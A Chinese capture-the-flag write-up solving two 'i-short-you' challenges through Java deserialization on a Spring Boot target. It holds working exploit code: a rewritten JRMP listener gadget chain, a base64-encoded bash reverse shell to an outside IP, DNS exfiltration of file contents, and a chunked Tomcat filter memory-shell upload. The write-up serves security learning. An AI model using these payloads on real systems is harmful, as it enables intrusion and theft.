i-short-you-1

JRMP payload

首先记住这个点:

产生的这个obj,经过readObject后会往该服务器发送JRMP请求。

    public static void main(String[] args) throws Exception{

String command = "118.89.61.71:17777";
String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(1); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(Object.class.getClassLoader(), new Class[] {
Registry.class
}, obj);

System.out.println(URLEncode(Base64.getEncoder().encodeToString(serialize(obj))).length());
System.out.println(URLEncode(Base64.getEncoder().encodeToString(serialize(obj))));
// unserialize(serialize(obj));

}

那么我们需要一个恶意JRMP服务器,用于发送payload。

题目只有springboot依赖,所以确定利用链只能这么走:

BadAttr
POJONode
TemplatesImpl

ysoserial没有这个payload,要重写ysoserial的JRMPListener。

重写 JRMP Listener

看了官方wp后,我觉得我搞复杂了。下面是我的做法:

重写方式:

将ysoserial的JRMPClient复制到自己的项目,删去main方法,删去import yso自带的东西。

将ysoserial的JRMPListener复制到跟Client同一包下,删去import,然后main方法改为这个:

public static final void main ( final String[] args )throws Exception {

final Object payloadObject = new Object();
try {
int port = 17777;
System.err.println("* Opening JRMP listener on " + port);
JRMPListener c = new JRMPListener(port, payloadObject);
c.run();
}
catch ( Exception e ) {
System.err.println("Listener error");
e.printStackTrace(System.err);
}
}

在doCall方法中,找到Reflections.setFieldValue,删掉。这附近有一个oos.writeObject(ex);

这个ex就是反序列化gadget入口。

将ex换成自己的payload。

new AgentLoader("org.example.JRMPListener").loadPOJONodeAgent();

TemplatesImpl templateImpl = Gadget.getTemplateImpl("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyMC43Ni4xMTguMjAyLzE2NjY2IDA+JjE=}|{base64,-d}|{bash,-i}");
POJONode pojoNode = Gadget.getPOJONode(templateImpl);
BadAttributeValueExpException ex = Gadget.getBadAttributeValueExpException(pojoNode);

oos.writeObject(ex);

其中new AgentLoader这一步,我自己实现了一个动态加载Agent的库,用于去除writeReplace方法的。

重写后的Listener、Gadget、AgentLoader这些代码在github

直接idea里启动。

部署 JRMP Listener

此时Listener就完成了,该如何部署?

直接部署到服务器麻烦,又配依赖,又配Agent,又要打包。我选端口转发。

公网跑frps。

[common]
bind_port = 17000

本机跑frpc。

[common]
server_addr = 118.89.61.71
server_port = 17000

[JRMP]
type = tcp
local_ip = 127.0.0.1
local_port = 17777
remote_port = 17777

启动JRMPListener,这个Listener监听本机17777。

发送payload到题目靶机,题目靶机访问vps的17777,vps的17777转发到我本机的17777。

注意,若打题目没成功,要重启题目。Listener被访问一次就要重启一次。

i-short-you-2

依赖只有springboot,没有反序列化黑名单, 只限制了长度3333。

readObject->toString的gadget用hashmap + HotSwappable + XString 组合,比badattr短。

然后就是马的字节码要尽量小。我这里用的字节码是无回显rce,使用dns回显。

这题用了两种做法:回显dns和分块传输打tomcat内存马。

出dns

首先封装一个rce的方法

public static void rce(String url,String cmd)throws Exception{
HashMap<String, String> params = new HashMap<>();
Object rce = wrap(SmallShell.rceHorse(cmd));
String rcebase = Base64.getEncoder().encodeToString(Util.serialize(rce));
params.put("payload",Util.URLEncode(rcebase));
Request.get(url,params);
}

wrap,生成用于反序列化对象。

public static Object wrap(byte[] code) throws Exception{

TemplatesImpl o = Gadget.getTemplateImpl(code);

// hashMap -> XString -> POJONode-> TemplatesImpl
POJONode pojoNode = Gadget.getPOJONode(o);
HashMap hashMapXString = Gadget.get_HashMap_XString(pojoNode);
return hashMapXString;
}

main方法

  public static void main(String[] args) throws Exception{

// 第一个参数填JVM名字,即main方法所在的完全限定类名
// 第二个参数填jackson的那个agent包的路径。
new AgentLoader("org.vidar.Main2").loadPOJONodeAgent();

rce("http://139.224.232.162:32149/backdoor","ping \"$(cat /* 2>/dev/null |cut -c 1-20 | xxd -p).z8ozbi.dnslog.cn\"");
sleep();
rce("http://139.224.232.162:32149/backdoor","ping \"$(cat /* 2>/dev/null |cut -c 21-50 | xxd -p).z8ozbi.dnslog.cn\"");

}

image-20240225134320037.png

image-20240225134359726.png

image-20240225134433847.png

分快传输打filter内存马

刚好看到这篇文章:https://developer.aliyun.com/article/863792,直接拿这题来开刀。

payload构造与exploit细节看这里

这exploit写了我整整一天,如下:

这exploit写了我整整一天,如下:

public class Main2 {
public static void sleep(){
try {
Thread.sleep(500);
} catch (InterruptedException e) {
throw new RuntimeException(e);
}
}
public static Object wrap(byte[] code) throws Exception{
TemplatesImpl o = Gadget.getTemplateImpl(code);
POJONode pojoNode = Gadget.getPOJONode(o);
HashMap hashMapXString = Gadget.get_HashMap_XString(pojoNode);
return hashMapXString;
}

public static void main(String[] args) throws Exception{

new AgentLoader("org.vidar.Main2").loadPOJONodeAgent();
exploit();

}
public static void rce(String url,String cmd)throws Exception{
HashMap<String, String> params = new HashMap<>();
Object rce = wrap(SmallShell.rceHorse(cmd));
String rcebase = Base64.getEncoder().encodeToString(Util.serialize(rce));
params.put("payload",Util.URLEncode(rcebase));
Request.get(url,params);
}

public static void exploit()throws Exception{
String url = "http://139.224.232.162:32149/backdoor";

//存放请求参数
HashMap<String, String> params = new HashMap<>();

byte[] bigHorse = Util.fil2ByteArray("FilterShell.class");
System.out.println("bigHorse length: "+bigHorse.length);

// 将上一次失败的结果删掉
rce(url,"rm /tmp/FilterShell.class");
sleep();

byte[][] bytes = Util.splitByteArray(bigHorse,100);

for (byte[] aByte : bytes) {
// 将字节数组转换成 {1,2,3,4,5} 的形式传给写文件马然后再编译成字节码
Object writeHorse = wrap(SmallShell.writeHorse(aByte,"/tmp/FilterShell.class"));
String packet = Base64.getEncoder().encodeToString(Util.serialize(writeHorse));
System.out.println("writeHorse length: "+packet.length());
params.put("payload",Util.URLEncode(packet));
Request.get(url,params);
sleep();
}

// 传输 类加载马,让他加载 /tmp/FilterShell.class 文件
Object loaderHorse = wrap(SmallShell.contextloaderHorse("FilterShell"));
String loaderHorseBase = Base64.getEncoder().encodeToString(Util.serialize(loaderHorse));
System.out.println("loaderHorse Length: "+loaderHorseBase.length());
params.put("payload",Util.URLEncode(loaderHorseBase));
Request.get(url,params);
}
}

image-20240225135357549.png

此时的控制台

image-20240225140732739.png

注意,这里没有用proxy使POJONode稳定触发,但我发现了个规律:触发getStyleSheetDom和getOutputProperties随机结果在在靶机开启时确定。如果第一次请求发现先调用的是getStyleSheetDom,那么以后所有请求调用的都是他。

这样就直接重启靶机,直到控制台没有出现getStyleSheetDom,说明先调用的是getOutputProperties。